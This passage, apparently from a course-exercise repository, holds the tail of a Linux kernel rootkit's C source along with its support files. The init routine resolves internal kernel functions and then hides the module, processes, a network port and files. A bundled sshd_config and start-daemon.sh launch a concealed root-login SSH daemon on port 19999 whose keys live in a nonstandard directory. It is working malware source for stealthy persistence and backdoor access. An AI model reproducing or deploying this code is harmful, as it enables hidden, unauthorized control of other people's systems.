kallsyms_lookup_name("tlb_flush_mmu"); 558 | if (!my_tlb_flush_mmu) { 559 | printk(KERN_ERR "Rootkit error: " 560 | "can't find kernel function my_tlb_flush_mmu\n"); 561 | return -ENOENT; 562 | } 563 | 564 | my_tlb_finish_mmu = (tlb_finish_mmu_t) 565 | kallsyms_lookup_name("tlb_finish_mmu"); 566 | if (!my_tlb_finish_mmu) { 567 | printk(KERN_ERR "Rootkit error: " 568 | "can't find kernel function my_tlb_finish_mmu\n"); 569 | return -ENOENT; 570 | } 571 | #else 572 | pmmu_gathers = (struct mmu_gather *) 573 | kallsyms_lookup_name("mmu_gathers"); 574 | if (!pmmu_gathers) { 575 | printk(KERN_ERR "Rootkit error: " 576 | "can't find kernel function mmu_gathers\n"); 577 | return -ENOENT; 578 | } 579 | #endif //kernel_version >< 3.2 580 | 581 | kern_free_pages_and_swap_cachep = (free_pages_and_swap_cache_t) 582 | kallsyms_lookup_name("free_pages_and_swap_cache"); 583 | if (!kern_free_pages_and_swap_cachep) { 584 | printk(KERN_ERR "Rootkit error: " 585 | "can't find kernel function free_pages_and_swap_cache\n"); 586 | return -ENOENT; 587 | } 588 | 589 | kern_flush_tlb_mm = (flush_tlb_mm_t) 590 | kallsyms_lookup_name("flush_tlb_mm"); 591 | if (!kern_flush_tlb_mm) { 592 | printk(KERN_ERR "Rootkit error: " 593 | "can't find kernel function flush_tlb_mm\n"); 594 | return -ENOENT; 595 | } 596 | 597 | kern_free_pgtables = (free_pgtables_t) 598 | kallsyms_lookup_name("free_pgtables"); 599 | if (!kern_free_pgtables) { 600 | printk(KERN_ERR "Rootkit error: " 601 | "can't find kernel function free_pgtables\n"); 602 | return -ENOENT; 603 | } 604 | 605 | 606 | // ex 2 607 | hide_process(); 608 | 609 | //ex 3 610 | hide_module(); 611 | 612 | //ex 4 613 | hide_port(); 614 | 615 | //ex 5 616 | hide_files(); 617 | 618 | // printk(KERN_ALERT "Rootkit: Hello, world\n"); 619 | return rv; 620 | } 621 | 622 | static void rootkit_exit(void) 623 | { 624 | //Restore the stuff 625 | restore_hide_process(); 626 | restore_hide_port(); 627 | restore_module(); 628 | 629 | //printk(KERN_ALERT "Rootkit: Goodbye, cruel world\n"); 630 | } 631 | 632 | module_init(rootkit_init); 633 | module_exit(rootkit_exit); 634 | -------------------------------------------------------------------------------- /rootkit.h: -------------------------------------------------------------------------------- 1 | #ifndef _ROOTKIT_H 2 | #define _ROOTKIT_H 3 | #include 4 | 5 | #endif // _ROOTKIT_H 6 | 7 | -------------------------------------------------------------------------------- /sshd_config: -------------------------------------------------------------------------------- 1 | # Package generated configuration file 2 | # See the sshd_config(5) manpage for details 3 | 4 | # What ports, IPs and protocols we listen for 5 | Port 130 6 | # Use these options to restrict which interfaces/protocols sshd will bind to 7 | #ListenAddress :: 8 | #ListenAddress 0.0.0.0 9 | Protocol 2 10 | # HostKeys for protocol version 2 11 | HostKey /etc/ssh/ssh_host_rsa_key 12 | HostKey /etc/ssh/ssh_host_dsa_key 13 | HostKey /etc/ssh/ssh_host_ecdsa_key 14 | #Privilege Separation is turned on for security 15 | UsePrivilegeSeparation yes 16 | 17 | # Lifetime and size of ephemeral version 1 server key 18 | KeyRegenerationInterval 3600 19 | ServerKeyBits 768 20 | 21 | # Logging 22 | SyslogFacility AUTH 23 | LogLevel INFO 24 | 25 | # Authentication: 26 | LoginGraceTime 120 27 | PermitRootLogin yes 28 | StrictModes yes 29 | 30 | RSAAuthentication yes 31 | PubkeyAuthentication yes 32 | AuthorizedKeysFile /fake.ssh/authorized_keys 33 | 34 | # Don't read the user's ~/.rhosts and ~/.shosts files 35 | IgnoreRhosts yes 36 | # For this to work you will also need host keys in /etc/ssh_known_hosts 37 | RhostsRSAAuthentication no 38 | # similar for protocol version 2 39 | HostbasedAuthentication no 40 | # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication 41 | #IgnoreUserKnownHosts yes 42 | 43 | # To enable empty passwords, change to yes (NOT RECOMMENDED) 44 | PermitEmptyPasswords no 45 | 46 | # Change to yes to enable challenge-response passwords (beware issues with 47 | # some PAM modules and threads) 48 | ChallengeResponseAuthentication no 49 | 50 | # Change to no to disable tunnelled clear text passwords 51 | #PasswordAuthentication yes 52 | 53 | # Kerberos options 54 | #KerberosAuthentication no 55 | #KerberosGetAFSToken no 56 | #KerberosOrLocalPasswd yes 57 | #KerberosTicketCleanup yes 58 | 59 | # GSSAPI options 60 | #GSSAPIAuthentication no 61 | #GSSAPICleanupCredentials yes 62 | 63 | X11Forwarding yes 64 | X11DisplayOffset 10 65 | PrintMotd no 66 | PrintLastLog yes 67 | TCPKeepAlive yes 68 | #UseLogin no 69 | 70 | #MaxStartups 10:30:60 71 | #Banner /etc/issue.net 72 | 73 | # Allow client to pass locale environment variables 74 | AcceptEnv LANG LC_* 75 | 76 | Subsystem sftp /usr/lib/openssh/sftp-server 77 | 78 | # Set this to 'yes' to enable PAM authentication, account processing, 79 | # and session processing. If this is enabled, PAM authentication will 80 | # be allowed through the ChallengeResponseAuthentication and 81 | # PasswordAuthentication. Depending on your PAM configuration, 82 | # PAM authentication via ChallengeResponseAuthentication may bypass 83 | # the setting of "PermitRootLogin without-password". 84 | # If you just want the PAM account and session checks to run without 85 | # PAM authentication, then enable this but set PasswordAuthentication 86 | # and ChallengeResponseAuthentication to 'no'. 87 | UsePAM yes 88 | -------------------------------------------------------------------------------- /start-daemon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | /usr/sbin/sshd -p 19999 -f ./sshd_config -q 4 | --------------------------------------------------------------------------------